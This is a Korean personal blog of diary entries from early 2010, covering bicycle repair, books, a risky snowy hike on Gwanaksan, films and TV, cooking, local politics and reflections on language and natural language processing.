인간이 인간이게 하는 조건 두 가지가 있는데, 그게 뭔지 잊어버렸다. 한 30년 개고생해서 얻은 다음 간신히 엑기스만 추려놓고 매년 스스로에게 그것을 잊었는지 기억하는지 물었다. 참 어처구니가 없다. 어처구니란 멧돌의 손잡이를 말하는 것이라고 누가 어디 글에 써놨다. 어처구니가 멧돌 손잡이가 맞긴 한데, '어처구니가 없다'의 어처구니는 한옥 지붕에 얹어놓은 조그만 짐승 조각상들이 맞을텐데? 풍상에 시달리다가 어느날 그것이 갑자기 사라지면 '어처구니가 없다'고 말한다고 오래 전에 책에서 본 것 같은데... 이런 쓰잘데기 없는 것들만 기억하고 정작 중요한 것은 잊었다. 하여튼 인간 조건과 마찬가지로 이 블로그는 생계 유지에 도움이 되지 않으니까 방문자가 사라진 것이다. 사실 방문자가 사라지건 말건 개의치 않았다.

고씨는 ebook reader가 성공할 것 같냐고 물었다. ebook은 책과 달리 남들에게 자랑꺼리가 되지 못할 뿐더러 자기 자신도 구입후 흡족한 기분을 느끼지 못한다. 그게 작년부터 몇몇 출판사의 세계문학 문고판 시리즈가 성공하고 있는 이유였다. 물리적 실재감을 주는 '책'은 이 나라에서 교양인의 자부심 같은 것이다. 말하자면 ebook 리더가 허영심을 자극하지 못한다고 주장했다.

장기적으로 책이 사라지고 전자매체로 전환하게 될까? 현재 기술수준으로는... 책은 배터리 없이 약 100년 이상 작동한다. 현존하는 전자기술로는 책처럼 fault tolerant한 미디엄을 대중화시키지 못했다 -- cd는 일부분이 부러지면 읽지 못하지만 책은 일부가 찢어져도 내용을 알아볼 수 있다. 앞으로 2-30년 동안 책의 수명이 갑자기 단축될 것 같지는 않았다. 아직까지 적은 에너지로 정보의 보존이 가능하고, 정보의 소실이 총체적 접근 불능으로 이어지지 않으며, 수천 년 동안 장기간 인간의 지각 체계와  적은 비용으로 호환이 유지되는 혁신적인 기술이 존재하지 않는다. 사진과 글자가 적힌 책이 현재로썬 유일하다. -- 운석 한 방으로 천년 가량의 암흑기가 도래하면 이렇게 풍성하고 시끄러운 디지털 문명은 끝장이 나지만 책은 그래도 남아 있을 수 있다.

'다시 책이다' -- 요즘 도서관에서 벌어지고 있는 캠페인인 줄 알았는데... 책 제목?

후배와 술자리에서는 가방을 잃어버렸다. 다시 찾았다. 그 가방은 잃어버리기엔 너무 좋으니까. 목요일부터 목이 부어 일요일에 병원에 갔다. 홈플러스 안에 일요일에도 하는 내과가 있다니 신기했다.

1/30. 가지고 있는 자전거를 모두(3대) 정비했다. 사고로 망가졌다가 자전거 가게에서 고쳐온 자전거는 대체 이게 고친게 맞는지 의심스럽다. 허우대가 멀쩡하지만, 휠 정렬이 엉망인데다 앞 뒤 디레일러 조정이 잘못되어 기어 전환이 잘 안 된다. 앞 브레이크를 잡으면 자전거가 꿀렁꿀렁 요동을 쳤다. 그 동안 그 자전거를 안 타고 문 밖에 방치해 두어 사정이 그러한 줄 몰랐다.

두번째, 사고 후 한 번도 안 탄 채 베란다에 고이 모셔둔 자전거의 디스크 브레이크 이격을 조정하고 베어링을 교체했다. 리튬 그리스도 잔뜩 발랐다. 팔려고 했지만 팔아봤자 똥값 받을 것 같다. 그래서 내가 타기로 했다. 세번째, 아내 주려고 사 놓고 주로 도서관 갈 때 타고 다니던 접이식 자전거의 뒷 바퀴를 뜯어 뻑뻑한 베어링을 손 보고 체인 링크를 달았다. 자전거 세 대 손보는데 네 시간쯤 걸렸다.

손때가 묻은 오래된 자전거를 몰고 시내주행을 해 봤다. 도저히 장시간 타고 다닐 수 있을 것 같지 않다. 가까운 거리에 장 보러 갈 때나 쓸 정도다. 사무실과 집이 가까운 직원이 출퇴근에 사용한다길래 주기로 했는데 언제 물건을 건넬 지는 모르겠다. 일왕 저수지까지 30분쯤 달렸다. 귓가로 스치는 바람이 아직 차가워 귀가 얼어붙었다. 반면 폴라폴리스와 트레이닝 복을 입은 상체는 땀이 났다.

J.D. Salinger가 사망했다. 삼가 고인의 명복을 빈다. 금세기에는 내가 어렸을 적에 읽었던 책들 대부분의 저자가 사망할 것이다. 나도 마찬가지고. 자전거 타고 올라간 중앙 도서관에는 존 업다이크의 소설 여덟 권(희안하다!), 코맥 메카시의 책이 네 권 있다. 코맥 메카시의 책을 아직 한 권도 읽어보지 못했다. 재미있을까? 재밌다는데, 읽어보면 알겠지.  

수원 중앙 도서관의 분위기가 좋다. 어깨가 닿는 비좁고 정겨운 서가, 아주 오래된 책에서 풍기는 냄새, 출입문을 열자마자 정기간행물 열람실과 도서 열람실이 바로 있다. 그래서 문을 열자마자 책이 확 다가와 기분좋은 긴장과 흥분을 느꼈다. 왼쪽에는 아이들 문고가 따로 있다. 산꼭대기에 있어 전망이 좋았다. 시내의 모든 도서관을 들르면 어쩐지 오타쿠 바보같아 보여서 다른 도서관에는 가지 않기로 했다. 지금까지 여섯 군데의 도서관을 돌았다.

그런데 내가 얼음과 불의 노래 4부 '까마귀의 향연'을 읽기는 한 건가? 도무지 기억이 나지 않았다. 다음 번에는 빌려올 것이다. -- 빌렸다. 읽었다. 폭풍처럼 휘몰아치는 온갖 가문의 온갖 인물들. 전 편에 비해 조금 맥이 빠졌지만 여전히 재미있게 읽었다.

1/25~1/31. 본사 서버에 접근하고 문서관리를 일원화하기 위해 SMB 터널링을 했다. 시간이 나는대로 openLDAP를 셋업하던가 뭣하면 익스챈지 서버라도 설치해야겠다. DNS server를 조작하는 해커 녀석들 때문에 홈페이지가 이상한 피싱 사이트로 연결되었다. 내친김에 white domain에 등록했다. 아이를 데리고 토이저러스에 갔다. 눈빛을 반짝이며 상가를 헤메다니는 아이들과 그들 손에 질질 끌려다니는 부모들을 볼 수 있었다. 소울이는 공룡을 집어 들었다. 집에는 이제 온통 공룡뿐이다. 도시락으로 싸온 딸기를 아이와 나눠 먹었다.

연초라 각종 사회단체에서 꾸준히 email이 날아왔다. 김장환인지 하는 기부천사 가수만은 못해도 총각 시절엔 곧잘  기부했다. 뭐 사실 전 재산을 기부했다. 젊었기에 돈은 필요없었다. 아프간에 기부 좀 하자고 했더니, 국내에도 굶어죽는 사람들 많다... 는 것이었다. 부모를 잃고 점심을 굶는 아이들과  시청에서 갖다 주는 쌀로 밥을 지어먹는 독거노인들과 교회에서 무료점심을 얻어먹으며 을지로역에서 잠자는 노숙자들은 지진으로 한쪽 다리가 부러진 채 가족과 집을 잃고 배고픔에 지쳐 힘없이 쓰러지는 아이티의 아이들처럼 오늘, 내일 그 절박한 삶이 스러질 팔자는 아닌 것 같은데? 아이티 난민은 기독교 구호 단체에서 구해줄테니까 걱정할 것 없단다. 우리에게도 처절한 현실이 있단다. 현실에 발맞춰, 약값이 떨어져 거리를 헤메던 아줌마를 도왔다. 길에서 벌벌 떨고 있는 아저씨를 도왔다. 예전 같았으면 그를 데려가 술과 밥을 먹이고 잠을 재웠을 지도 모르겠지만 내가 고약해진 것은 사실.

2/1~2/7. 보드 선정 작업. 세미콘 코리아에는 참석하지 못했다. Nokia N5800 휴대폰을 구입했다. 드라마 '파스타'를 보니 좋아하던 스파게티의 이름이 'alio e olio'란 것이었다. 수년 전 외국의 어떤 식당에서 먹어 보고 감탄했으며, 가끔 집에서 만들어 먹으며 왜 맛이 없을까 고민했다. 최근에는 마누라가 좋아하는 해물 크림 파스타 이외의 것을 만들어 본 적이 없다.

이건희가 '모두가 정직했으면 좋겠다'고 말했다. 이명박 대통령은 한국이 2-30년 전으로 후퇴할까봐 걱정된다고 말했다.

2/8~2/15. 설날 연휴, 발렌타인, 결혼 6주년 기념일이 겹쳤다. 외식하러 가자니 뚱하다. 아내에게는 화보집 하나 사줬다. 아마 결혼 기념 선물인 줄도 모를 것이다. 외식은 글렀고, 그래서 서울랜드에 갔다. 아내의 종용으로 놀이기구를 탔다. 아내는 내가 놀이기구를 무서워서 안 탄다고 여겼다. 사실 대부분의 놀이기구는 재미가 없어서 타지 않았다. 그렇게 된 이유는 딱 하나 뿐이다. 목숨이 오락가락 하는 체험(?)을 자주 하다보니, 공포를  시뮬레이션 하는 놀이기구는 죽음에 대한 진실성이 부족해서 재미가 없다. 그렇다고 위험을 넘어서 죽음에 가까운 체험을 즐기는 것은 전혀 아니지만.

댄 시먼즈의 올림포스가 도서관에 들어와 빌려봤다. 인용:
살아있기도 헷갈리는 시절이다.

아테나가 어깨를 들썩했다. "그건 전투 중에 일어난 일이잖아. 난 피가 들끓는 상태였고."
"날 죽이려 했던 변명이 고작 그거냐, 이 개 같은 여신아?"

"이 지뢰를 묻은 사람이 원망스럽지 않나요?"
"글쎄... 저도 지뢰를 설치했기 때문에 할 말은 없죠. 당시 지뢰를 묻는 건 너무 당연한 일이었고요. 지뢰는 전선을 방어하려고 묻은 거고요. 덕분에 지금 이렇게 큰 댓가를 치르고 있지요."  -- 사라예보의 시가지를 빙 에두른 지뢰를 제거하는 지뢰제거작업반과 펠린의 대화 중.

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"이 궁전은 아직도 사람이 살고 있으며 중세 이후 건축물의 변화를 볼 수 있죠."
"당국에서 왕궁에 들어선 이 건물들을 철거하려고 시도한 적은 없나요? 이건 유물에 대한 모독일 것 같은데요."
"아뇨, 이것도 스플리트의 발전상을 보여주는 전통이니까요."
"저것도 많이 바랬네요?"
"네, 로마 시대 건물이니까요."
"전 빨래 얘기를 한 건데요." -- 마이클 펠린의 신 유럽기행 중.

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"시계가 참 많군요?"
"네 전부 3시 4분이에요."
"왜 전부 3시 4분이요?"
"3시 4분에 티토 대통령이 죽었거든요." -- 티토가 누군지 안다. 할아범이 만세를 부르며 그가 죽은 시간을 영원히 기념하는 심정을 잘 알 것 같다. 마이클 팰린이란 영국 노인이 신 유럽기행이라고 동유럽을 돌아다녔다. 이 섬에 맥도날드가 들어서면 목매달겠다는 노인네와 티토의 독재 시절을 얘기한다. 주방 벽에 걸린 저 무시무시한 도구들은... 이 할아범은 소를 직접 잡아서 요리하나? 마이클 펠린의 신 유럽 기행은 보통의 여행 프로그램처럼 (피로 쓰여진 역사 앞에서 괜히 숙연한 척 위선이나 떨어대며 실상은 밥맛 떨어지게 넋놓고 관광이나 하는) 프로그램에서 빠진 것들을 보여준다는 점에서 꽤 괜찮았다. 그래서 버라이어티 보며 희희낙낙하는 TV를 끄고 아내에게 부러 보라고 추천해 줬다. 갈 생각 있으면 지원해 주겠다고 호언했다.

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해황기. "이 손을 피로 더럽혔다. 내가 패도를 걷는 것은 정의나 백성 때문이 아니다. 단지 나의 욕심 때문이야! 나는 내 편을 잃고 싶지 않다. 그러나 적은 아무리 죽여도 개의치 않는다. 내가 살아있는 한 사람이 죽을 것이다. 그러나 너라면 적도 우리편도 사상자를 최소한으로 줄이고 이길 줄 아는 지혜가 있겠지? 죽어가는 사람을 줄이고 싶으면 나를 죽여라. 그럴 수 없다면 나에게 와라!" --  24권. 카자르 세이 론이 알 레오니스 우르 굴라에게 보내는 다정한 말. 해전 중에 사용하는 용어가... 혹시 작가가 혼블로워 안 읽어봤나? 그래도 재밌다. 이 만화책의 불법복제 스캔은 '미친뇬'과 '냐옹~'이 만들었다. 음지에서 땀을 흘리는 젊은이들에게 늘 감사한 마음을 가지고 있다.

50화로 짐승의 연주자 에린이 끝났다. 이례적으로 긴 시리즈였다. 엄마가 짐승에게 먹혀 죽는 모습을 눈 앞에서 보고 자기 손을 물어 뜯긴 에린이 화살에 맞은 채 달려가며 이렇게 말했다: '나는 죽고 싶지 않아!' 어찌나 공감가던지 원. KBS 9시 뉴스 대신에 이런 애니를 보여줬으면 좋겠다.

Lona's Silence
Lona's Silence. 벨기에... 내가 아는 벨기에는 불법이민자들로 골치를 썩이는 나라였다. 영화의 주제가 그것이다. 뭘 어쩌자는 것도 아니고 재미라고는 하나도 없으며 보고 나서 기분만 상하는, 말하자면 '예술영화'다. 헐리웃 액션 블록버스터물을 보고 싶어도 소위, 영혼이 없는 아바타 같은 영화 따위나 걸려서 실망이다.

Sleep Dealer
Sleep Dealer. 멕시코 SF 영화인 건가? 역시 내용 없고 시시한 예술영화처럼 생겨먹었다. 갖은 고초를 겪어 간신히 해 놓은 일이 사소한 반란 정도라서 현실을 지나치게 복제하여 우울해진달까. 헐리웃 액션 블럭버스터물을 보고 싶지만 걸리적 거리는 거라고는 크로싱 오버같은 대체 무슨 생각으로 그런 엿같이 우울한 자뻑 영화를 만들었는지 모르겠는 영화 따위나 걸렸다.

Detroit Metal City
Detroit Metal City. 그러다가 이런 코메디물을 보면서 역사와 추억에 잠겼다. 아... 내가 이 머리통을 지나치게 메탈과 프로그레시브에 푹 담구고 절여놔서 성격이 더러워진 거야. 게다가 귀까지 맛이 가 버렸잖아? 감사히 잘 봤다. 주인공이 쥐도 새도 모르게(자신도 모르게) 어둠을 향해 또박또박 착실히 걸어가는 모습이 아름다웠다. 우린 대부분 길을 잘못 들어 엄청나게 헤메고 있지만, 나이 60 먹어서 자신이 아직도 락커(또는 프로그래머) 라는 사실에 딱히 감정이 없기를 바랬다.

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어렸을 적에 읽은 셜록 홈즈에는 친절하게 스코틀랜드 야드가 런던 경시청인 이유를 설명해 놓았다. 신문 판형이 흥미롭다. 건 그렇고 여늬 버디물과는 달리 왓슨과 홈즈가 서로를 아끼고 사랑해주는 호모들 같아 보였다.

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건설중인 타워브릿지, 돛배와 증기바지선이 뒤섞인 선착장. 그야말로 호들갑을 떨어도 될 만큼 품질좋은 빅토리아 시절의 재현.

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셜록 홈즈에서 산업혁명 시기의 가장 끝내주는 장면은 바로 이 쉽야드와 다음에 이어질 타워 브리지였다.

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뭐 이 영화에서 이 장면이 시사하는 바가 마술사를 죽인 이성과 모더니즘의 힘 쯤 되어 보이지만, 감독이 정말 그런 바보같은 생각을 대위적 아이라니라고 생각한다면 속편에 가망이 없어 보였다. 아무래도 그런 것 같아 속편은 기대하지 않았다.

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2010

잡기 2010. 1. 11. 20:01
2010년 올해 소망도 전과 같다. 살람 팔레스티나!

그다지 깔끔하고 쾌적하지는 않았지만, 어쩌다가 내 인생이 한 해 만에 이렇게 찌질해진 것일까? 원인도 알고 해결책도 안다. 원인: 내 탓이다. 해결책: 노력해서 될 일이 아닌 것 같으니 잘못과 실수를 인정하고 포기한다. 설령 찌질해졌어도 하던 거나 제대로 잘 하자.

'번역의 탄생'이 알라딘의 독자가 뽑는 2009 올해의 책 후보로 선정되었다. 결과가 어떻게 되었는지 보지 못했다만, 내 눈에는 후보 중 문학 분야에서 의외로 볼만한 책이 없었다. 실은 다섯 권 빼고는 뭐 이런게 후보일까 싶은 지경? 책을 예전만큼 읽지 못하는 형편이라 교양과는 거리가 멀어 불감증에 걸린 외계인 몽크 아저씨처럼 살지만.

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첫눈을 천안에서 맞았다. 눈 오는 밤에 직원들과 망년회를 했다. 눈이 온 날 아이를 데리고 동네를 돌아다녔다. 망년회를 몇 번 했는지 기억이 잘 안 난다. 대략 6~7번 한 것 같다. 연말인데 우울해서 술을 적게 마셨다. 12월 30일 종무식을 마친 다음 직원들을 데리고 횟집에 갔다. 12월 31일 쉬는 날이지만 회사에 나와 지도 작성으로 시간을 보냈다.

12월 31일 밤 시장 떡집에서 떡국떡과 만두를 샀다. 1월 1일 아침 떡만두국을 끓여 먹었다. 멸치, 다시마, 표고버섯으로 육수를 만들고 국간장 약간과 소금으로 간을 보고 만두를 넣고  만두가 떠오를 때까지 끓이다가 건져내고, 떡국떡을 넣고 역시 떠오를 때까지 끓이다가 만두와 떡, 파를 넣고 끓이다가 그릇에  내어 황백지단과 김을 고명으로 얹었다. 떡국떡은 괜찮지만 만두맛이 별로다.

쓰레기더러 쓰레기라고 말하지 않는 것은 예절에 어긋난다.

1월 2일 효행공원에서 출발해 지지대 고개를 거쳐 광교산을 종주했다. 이번에도 GPSr의 충전지가 방전되어서 경로를 잡지 못했다. 14.5km를 3시간 30분 걸려 주파했다. 인상적인 속도이긴 하다. 눈이 와서 아이젠을 착용했고, 아이젠 때문에 무릎이 아팠다. 아이젠을 벗고 두 번쯤 눈길에서 나자빠졌는데 그러다가 왼쪽 손목 인대가 늘어난 것 같다. 자빠질 때 왼손으로 받치는 나쁜 버릇을 없애야지 이거원 다친 데 또 다치고...

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거의 10여년쯤 쓴 것 같은 4 점 아이젠을 버리기로 하고 제대로 된 아이젠을 스패츠와 함께 구입했다. 1월 9일 관악역에서 출발해 삼성산을 넘었다. 1주일째 녹다 말은 눈이 남아 있었다.

삼성산 바로 아래서 늦은 점심을 먹었다. 보온병의 진공이 깨져 보온이 제대로 되지 않았다. 빌어먹을. 미지근한 물을 컵라면에 붓고 혹시나 해서 가져간 밥을 미리 먹은 다음 전혀 익지 않은 컵라면의 면발을 부숴 억지로 위장에 밀어넣었다. 옆에서 오뎅 장사 하는 할머니 곁으로 어떤 등산객이 지나가며 '와 돈 많이 벌으셨겠네요'  라고 말하자 할머니가 버럭 성을 내며 욕설을 퍼부었다. 눈은 내리는데 삶이 고단하고 팍팍한 할머니가 말을 건넨 또 다른 등산객의 말을 들어보니 오늘 관악산에서 어떤 사람이 사고로 죽었단다.

배를 채워도 배를 채운 것 같지 않다. 잠깐 움직이지 않으니 춥다. 눈이 녹은 바짓가랭이와 땀범벅이 된 모자는 딱딱하게 얼어붙었다. 삼성산에서 내려가 집으로 돌아갈까 생각했다. 해가 오후 5.30pm에 진다. 4.30pm까지만 연주대에 도착하면 사당 방면으로 하산할 수 있다. 4.30pm 까지 연주대에 도착하지 못하면 두 말 없이 서울대 쪽으로 하산하기로 마음먹고 출발했다.

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기상예보와는 달리 오후 1시 출발할 때부터 눈이 왔다. 앞산이 안 보일 정도로 시야가 뿌옇다. 오후 4시가 넘으니 등산객들이 거의 없다. 약수물을 떠먹고 잃어버린 장갑을 찾으러 잠깐 돌아갔다가 무너미 고개 부근에서 관악산으로 향했다. 쉬지 않고 학바위 능선을 넘었다.  하얗게 눈이 얼어붙은 연주대에  도착하니 아무도 없다. 쉬지 않고 사당 쪽으로 가다가  시계를 흘낏 보니 이런... 벌써 5시 30분이다. 해가 진 것이다. 사당 방면으로 하산하는 것을 포기해야 한다. 내린 눈 때문에 등산로가 거의 보이지 않았다. 무릎까지 잠기는 눈 속을 헤치며 하산할 생각을 하니 눈 앞이 캄캄하다.

서두를 수 없고, 서두르지 않을 수도 없다. 눈발로 얼어붙은 GPSr의 액정 화면에 생명선처럼 가느다랗게 뻗은 등산로를 따라 박명에 그저 하얗게만 반사되는 눈밭에서 한 발 한 발 신중하게 발을 디뎠다. 절벽을 지나고 눈밭에서 고꾸라지고 넘어졌다. 사지를 모두 사용했다. 평소라면 아무렇지도 않게 노래부르며 내려갈 길이다. 전화가 몇 번 왔다. 아내가 전화해서 저녁밥을 앉힐까 물었다. 제 남편은 지금 생명의 위협을 느끼고 있는데 한가하시군. 먼저 밥 먹으라고 말했다. 어 지금 목숨 걸고 내려가는 중이야 라는 말은 생략했다. 그러고 보니 상황이 몹시 안 좋을 때면 어김없이 아내의 전화를 받고 일상과의 심한 괴리를 느꼈다. 전에도 비봉에 오도가도 못하고 매달려 있을 때 전화가 왔다. 응급실에서 엑스레이 찍을 때도 수화기를 통해 왜 전화를 안 받냐는 질책을 들었다.

금요일 저녁에 GPSr의 지도를 업데이트했다. 그간 꽤 많은 업그레이드가 이루어졌다. 이번이 업그레이드 후 처음으로 지도를 검증하는 것이다. 만약 지도가 제대로 되지 않았으면 조난 상황이다. 지도의 등고선이 올바르지 않으면 눈으로 확인이 안되는 형편이니 아래는 절벽인데 절벽이 아니라서 떨어질 수도 있다. 완전히 어두워지기 전까지 300m 이상을 내려가야 한다. 침착하자, 침착하자, 발을 뗄 때마다 되뇌였다. 아드레날린이 솟구치니 집을 나설 때부터 있던 편두통마저 사라졌다. 정신이 번쩍 들었달까?

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화질이나 기타 등등은 무시하고, 그저 매우 의미심장한 기념사진. 제목은 살았다! 서울대 공학관 불빛이 보여서 안도했다. 조금만 더 내려가면 된다. 15분쯤 푹푹 빠지는 눈 속을 내려갔다. 눈이 하염없이 내린다. 아스팔트 길을 터벅터벅 걸어갔다. 버스 정류장에 다다를 때까지 멍하니 걷다 보니 아이젠을 벗지 않았다. 절그럭절그럭 쇠소리를 내며 걸었다. 몸에서 김이 펄펄 나고 물방울이 둑둑 떨어졌다. 꼴이 말이 아니다.

사당역에서 오뎅 국물로 속을 덥히고 유난히 오지 않는 버스를 줄서서 기다렸다. 채 마르지 않은 신발에서 발이 얼어갔다. 벌벌 떨면서 30분쯤 기다리다가 간신히 버스를 탔다. 길이 막혀 한 시간 넘어서야 집 근처에 도착했다. 아홉 시가 다 되었다. 통닭을 사들고 집에 도착해 샤워하고 맥주와 통닭을 먹었다. 새로 산 아이젠이 아니었으면 큰일날 뻔 했다. 일주일 새 눈이 반쯤은 녹았으리라 생각하여 스패츠를 안 가져간 것이 후회되었다. 죽을 뻔해서 그런지 정신이 또릿또릿하다.

GPSr의 로그를 살펴보니 5시간 동안 12km를 걸었다. 연주대에서 서울대로 내려오는데 걸린 시간은 30분 미만, 거의 미친 속도다. 작년 이맘 때도 관악산에 갔다. 내년에 또 갈까? 위기에 처하니까 리프레시가 제대로 되는데.

아침에 일어나니 온 몸이 뻐근했다. 어디에 부대꼈는지 허벅지에 멍이 들어 있다. 어제 일이 꿈만 같다. 아이를 데리고 일월 저수지로 놀러갔다. 아이를 눈밭에 굴릴 겸,  근육도 풀 겸 일월 저수지에서 emart까지 걸었다. emart는 며칠 전부터 할인행사가 시작되어 사람들로 바글거렸다. 아이를 놀이터에 맡기고 매장 안을 여기저기 정처없이 헤멨다. 보온병을 사야 되는데... 어제 물에 말은 라면 스넥을 먹은게 한이 맺힌다. 대략 4시간쯤사람들에 치대면서 걸었다. 집에 돌아와 아내가 해준 홍게에 라면을 끓여 먹고 맥주 한 잔 하니 피로가 몰려왔다. 그야말로 통나무처럼 쓰러져 잤다.

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버나드 쇼는 이렇게 말했다. 인생에는 두 가지 비극이 있다. 꿈을 이룬 것과 꿈을 이루지 못한 것. 내 비극은 꿈을 이루지 못한 쪽. 아내는 아이와 함께 터키와 그루지아에서 즐겁고 신나게 지냈지만 난 인도네시아행 티켓 조차 알아볼 시간이 없었다. 왜 그렇게 어리석은 삶을 살았을까? 이유가 많지 않았다. 내가 한 약속을 지켰다. 올해는 지켜야 할 약속이 없지만 돈이 없다. 한 사장이 올해 계획이 있냐고 물었다. 정신줄 놓고 삶을 제대로 살지 못해도 탄약과 계획은 늘 챙겼다.

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인생의 두 가지 비극보다 실감나는 경구는 덱스터에 나왔다. '행복한 가정은 모두 똑같다. 그들은 절대로 휴일에 당신을 홀로 내버려두지 않는다' 덱스터가 멀티 열심히 뛰는 4기가 생각보다는 재미가 없었다. 소재가 절여놓은 양념갈비니 만큼 특별한 기교 없이도 기본적으로 먹고 들어가는 것이 있는데, 이 시나리오 작가가 매 시즌의 피날레를 흡족스럽게 끝내는 것을 3년째 못 봤다. 마지막은 충격과 경악, 죄의식과 피바다였어야 했다(TV 드라마라서 그럴까?). 시즌 내내 인성 교육 하다가 deux ex machina와 하등 차이가 없는 '카르마'라니... 설령 '일정 품질'이 나와 청자 입장에서 불만스럽지 않더라도, 점입가경을 구현했어야 할  '게으른 작가'는 때려 죽여도 할 말 없어 보였다.

GD의 heartbreaker가 표절이라고 한 동안 떠들썩했다. 훌륭한 표절(?)이다. 여자친구와 헤어진 후 도대체 내가 뭘 잘못한 것일까 반성하는 차원에서 룸싸롱을 방문해 술 마시고 행패 부리다가 깨어보니 집이었다는 뮤직 비디오에 희안하게 공감이 간다(뮤직비디오는 그 옛날 에어로스미스 표절 같은데?).

2009년 내내 흥겹게 풍악을 울려대던 걸그룹들이 많았지만 2NE1 빼곤 그저 그랬다. i don't care i don't care 소녀시대, 원더걸즈, 카라, 모두 화무십일홍 같았다. mp3 무료로 듣기가 어려워 보였는데, youtube 따위 동영상 사이트 가니 인기곡은 전부 들을 수 있었다. 요즘 아이돌 그룹 노래가 좋아졌다기 보다는 뮤직비디오나 사운드 프로듀싱 솜씨가 대단했다 -- 전면에 내세운 메이크 업 걸 그룹을 마리오네트처럼 조정하고 기획하고 프로듀싱하는 이면의 존재감을 훨씬 더 묵직하게 느낀다. 요점을 제대로 짚은 예술적인 타깃 마케팅을 보는 것 같달까? 그러니까 거국적으로 먹혀 들어가는 것이겠지.

Jeff Beck이 내한공연 온단다. 다른 뮤지션이나 그룹은 이 핑계 저 핑계로 대충 넘기고 말았지만... 젠장 갈 수 있을까? GD나 2NE1 등의 어린 애들 사랑 타령 따위를 아무리 들어도 제프 벡의 기타소리에서 느끼던  영혼의 솔리톤적인 떨림을 경험할 수 없으니까. 그게 라이브라고! 1월 20일 티켓 오피스가 열린단다. 고민하자...

서울, 세계 최악의 도시 3위? -- LP 설문에서 최악의 도시 3위가 나왔다고 서울시가 발끈할 이유가 없는데 이 기사가 나온 며칠 후 서울시는 NYT 선정, 꼭 가봐야 할 도시 3위에 올랐다. 무슨 로비라도 한 건 아닐까 싶었다. 가난한 여행자의 관점에서 보면 서울시는 정붙일 구석이 없는 도시다. 멍하니 죽때릴만한 데가 없고 어딜 가든 사람에 채이고 어딜 가든 쇼핑몰이니까. 청계천? 녹조가 낀 청계천 개울에 발 담그고 건너편 콘크리트 벽을 쳐다보고 있으면 괜히 처량해질 것 같은데... 맛이 갈 때까지 술 마시고 흥청망청 놀아도 밤거리가 안전한 도시라는게 뭐 대단한 장점일 리는 없고.

떠난 이상 서울에 관심 끊자. 여기 수원은 가진 떡도 제대로 활용 못하는 바보같은 도시다. 방만한 경전철 계획과 예산안으로 시의원에게 질타받던 수원시장은 단순히 열이 뻗친 나머지 경전철 계획을 전면 백지화한다고 발표했다(뭐야 이건?). 이왕 그렇게 말한 것, 그대로 밀어붙였으면 좋겠다. 1번 국도를 중심에 둔 수원 시내 도로 사정 상 경전철로 2-3년 공사하면 아비규환이 되고 만다. 여러 국책 연구 평가결과에서도 경전철보다는 BRT(Bus Rapid Transit) 도입이 수원의 도시계획 면에서 유리하다고 추천한다.

예전에 먹었던 인스탄트 짜장면 이름이 기억나지 않다가 마트에 가서 제품을 보고야 알았다. 팔도 일품짜장인데 그냥 먹으면 신맛이 나지만 양파를 미리 볶은 다음 짜장을 섞고 볶다가 면을 섞으면 먹을만 했다. 짜파게티의 면발은 꾸준히 적응이 안된다. 요즘은 짜파게티나 신라면이나 너구리나 쌀국수 뚝배기나 농심에서 나온 것들은 선택의 여지가 있을 때라면 안 먹었다.

스티븐 핑커, 언어본능: 한국인 중에 이 책의 전반부를 재밌게 본 사람이 과연 있을까? 전반부가 흥미롭긴 하지만 영미문화권에서 자란 사람이 아닌 이상 나와 상관없는 순수하게 학술적인 내용이다. 핑커는 사멸되어가는 언어의 죽음을 멈춰야 하는 이유로 언어학자로서의 자신의 욕심을 말했다. 다양한 언어가 있어야 자기가 제대로 학문할 수 있다나? 이런 말이 나왔다.
우리는 석기 시대를 떠나지 않았어도 된다. 중간계층에 속할 필요도 없다. 학교에서 좋은 성적을 거둘 필요가 없다. 심지어 학교에 갈 만큼 자랄 필요도 없다. 부모의 언어 세례를 받을 필요도 없고, 부모가 언어를 제대로 구사하지 못해도 된다. 사회구성원이 되기 위한 지적 수단이나, 집과가정을 꾸려나가는 기술이나, 확교한 현실 이해능력도 필요없다. 사실 이 모든 이점들을 다 가졌다 해도 유전자가 두뇌 일부에 결함이 있으면 우리는 유능한 언어 사용자가 되지 못한다.
그러게 말이야.

자연어 처리 등의 인공지능의 역사는 컴퓨팅의 역사와 동일한데, 지난 40여년 동안 컴퓨터 공학자는  핑커의 책에 등장하는 다음과 같은 유명한 문장을 '이해'하는 인공지능을 만들지 못했다:
여자: 나 떠날 꺼야.
남자: 어떤 놈이야?
사람의 두뇌에는 태어날 때부터 언어를 해석하는 정교한 신경계가 존재한다. 지극히 사소한 차이를 제외하고 유전자가 거의 일치하므로 여러 인종간 신경계에 차이가 없어 보이고 따라서 영미 문화권과 계통상 거의 고립어로 간주되는 한국어와 오스트로네시안 등의 언어를 사용하는 두뇌는 차이가 없다. 따라서 S+O+V 형 문장과 S+V+O 형 문장은 인간의 두뇌에서 처리과정이 같아야 한다. 실제로 그렇다. 그리고 문법 상 차이 역시 그리 크지 않다. 핑커가 써 놓은 것이 공교롭게도 EBNF다 :
S := NP VP, NP := [det] N [PP], VP := V NP [PP], PP := P NP
명사구(NP)와 동사구(VP)는 거의 전문화권에서 동일한데, 동사구는 한 문장에서 단일하지만 명사구는 재귀되며 반복될 수 있다.

EBNF는 유한상태기계라 노이먼 머신에서 처리가능하다. 그런데 왜 자연어 처리가 어려울까? 앞으로 십 년 이상 자연어를 인식하고 발화하는 인공지능이 나올 가망은 거의 없다. 자연어가 어려운 것은 거의 무한대에 가까운 자연어 조합 가능성과 불규칙, 광범위한 상식과 배경 지식을 요구하는 화용 면에서 의미구조를 해석하기 어려운 탓이다.

이희재가 번역의 탄생에서 밝힌 것처럼 한국어는 명사를 수식하는 형용사가 많은 영어와 달리 동사를 수식하는 부사구, 전치사구가 많고  격조사와 어미 변화가 심하다. 차이가 심대해 보이지만 번역의 탄생에서 보여준 변환 테이블은 그 변환 테이블을 만들기 까지의 과정이 어렵지(정리가 어렵지) 실제로 그렇게 어려워 보이지 않는다는 점에서 감탄스러웠다. 한국어가 영어보다 우월한 것도 없고 영어가 한국어보다 나은 것도 없다. 다만 아이의 두뇌는 어느 언어의 한 문법을 정확하게 익히면 다른 언어의 문법에 적응할 수 있다는 것과, 아이들 조기 교육은 주로 발성법을 가르치는 것이란다.

